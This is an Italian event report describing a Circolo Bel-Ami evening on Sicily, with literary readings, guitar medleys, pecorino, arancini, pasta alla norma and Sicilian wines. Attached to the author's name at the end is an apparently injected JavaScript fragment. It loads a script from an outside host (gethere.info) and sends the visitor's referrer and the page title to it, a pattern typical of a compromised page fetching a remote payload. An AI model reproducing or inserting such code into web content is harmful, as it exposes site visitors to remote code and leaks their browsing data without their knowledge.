21 aprile 2009: Le Vie del Gusto… La Sicilia

Continua il viaggio organizzato dal Circolo letterario Bel-Ami alla scoperta delle regioni italiane, un viaggio che cattura lo sguardo, solletica il palato, pizzica il naso, sussurra alle orecchie e scivola sulla pelle in un attivo coinvolgimento dei nostri sensi chiamati ad apprezzare i migliori frutti che il Bel Paese ha da offrire a chi ha la pazienza di coglierli.
Martedì 21 Aprile la padrona di casa è la Sicilia: gli ospiti della serata organizzata dal circolo vengono adagiati sulle sue bianche spiagge bagnate da acque cristalline e accarezzate da brezze leggere, cariche degli odori dell’entroterra, muti testimoni di una terra generosa e profumata.
Ponte ideale a cavallo di popoli che si sono reciprocamente influenzati in un’osmosi culturale figlia della storia, l’isola mediterranea rivive nelle bellissime parole a lei dedicate da Adele Cucinotta, che ne sintetizzano la personalità ed introducono l’evento.

La serata viaggia quindi sulle righe di uno dei figli illustri di questa terra, Andrea Camilleri, che questa terra canta attraverso il dialetto comprensibile di quello che forse è il suo personaggio più noto, Salvo Montalbano, burbero commissario di polizia dell’immaginifica Licata, valida sintesi nella sua inesistenza geografica delle reali bellezze della Sicilia. Le parole del commissario prendono vita attraverso lo stentato siciliano di Emanuele Liani che da romano si avventura sull’insidioso sentiero della lingua di Camilleri più per diletto che per convinzione.
Ben altra cosa la successiva interpretazione della sicilianissima Adele che presta la sua voce ai versi di Gesualdo Bufalino.
Ben presto le parole cedono il passo alla musica in un fluido avvicendamento che chiama in causa le chitarre di Antonio e Matteo e l’ugola di Serena Mazzuca, improvvisata voce femminile della serata che con la sua freschezza e armonia stupisce il pubblico che sottolinea il suo apprezzamento con un plauso sincero.
Un plauso che accompagna l’intera esecuzione dei cantori che interpretano medley di famosi successi del repertorio di noti cantautori siculi.
E così Carmen Consoli, Battiato, Marcella Bella e altri rivivono sugli arpeggi armoniosi e nelle parabole liriche del capace trio di musicanti.

Ma gli applausi si interrompono e le chitarre si arrestano quando fanno il loro ingresso in sala le pietanze che accompagnano l’evento, pietanze che rendono onore alla cucina sicula e piacere al palato.
E allora, ad essere chiamato in causa è il gusto, e nel silenzio della sala la parola passa alle forchette.
Forchette che si tuffano sul pecorino siciliano farcito di peperoncino, il cui sapore si sposa bene con quello del formaggio in un amalgama che stuzzica il palato.
Ma è solo l’inizio che serve ad introdurre qualcosa di ben più importante: in onore e nel rispetto della tradizione dell’isola mediterranea fanno il loro ingresso trionfale i famosi arancini, adagiati nel piatto nella loro croccante rotondità, agnelli sacrificali in un rito gastronomico che si consuma tra l’esultanza del pubblico estasiato.
E parlando di Sicilia non poteva certo mancare il vino, ed allora, ad innaffiare le prelibate pietanze ecco il Corvo Glicine Duca di Salaparuta, ottimo bianco dal sapore fresco e aromatico, il cui gusto leggermente frizzante si fa vivace ambasciatore delle terre che gli danno i natali, e tutto si scioglie in un flusso di sensazioni, profumi e sapori mediterranei.
Terminato l’allegro cantare delle forchette la parola torna ad Adele ed Emanuele che si alternano nella lettura di altri autori che nei loro versi rendono omaggio all’isola mediterranea, un omaggio che si dipana attraverso il filtro dei cinque sensi. Autori come Quasimodo e Verga, che parlando di Sicilia non poteva certo mancare, lui che con il suo verismo crudo sembra dare forma e colore a sensazioni forti e concrete.
Sensazioni forti e concrete come il sapore della seconda pietanza che giunge ad allietare il palato, un’ottima pasta alla norma che scivola decisa in bocca accompagnata dal gusto intenso e vagamente fruttato di un fiero nero d’avola, rosso corposo e intenso, che parla di sottobosco e si presenta con tonalità violacee.
Ma sono gli allegri bardi con le loro chitarre e le armoniose ballate a chiudere la serata, che si spegne in canti che hanno ormai assunto l’aspetto allegro e festoso di un coro, coro doverosamente celebrativo in onore di una terra dai mille aspetti e dai generosi doni.

Emanuele Lianis.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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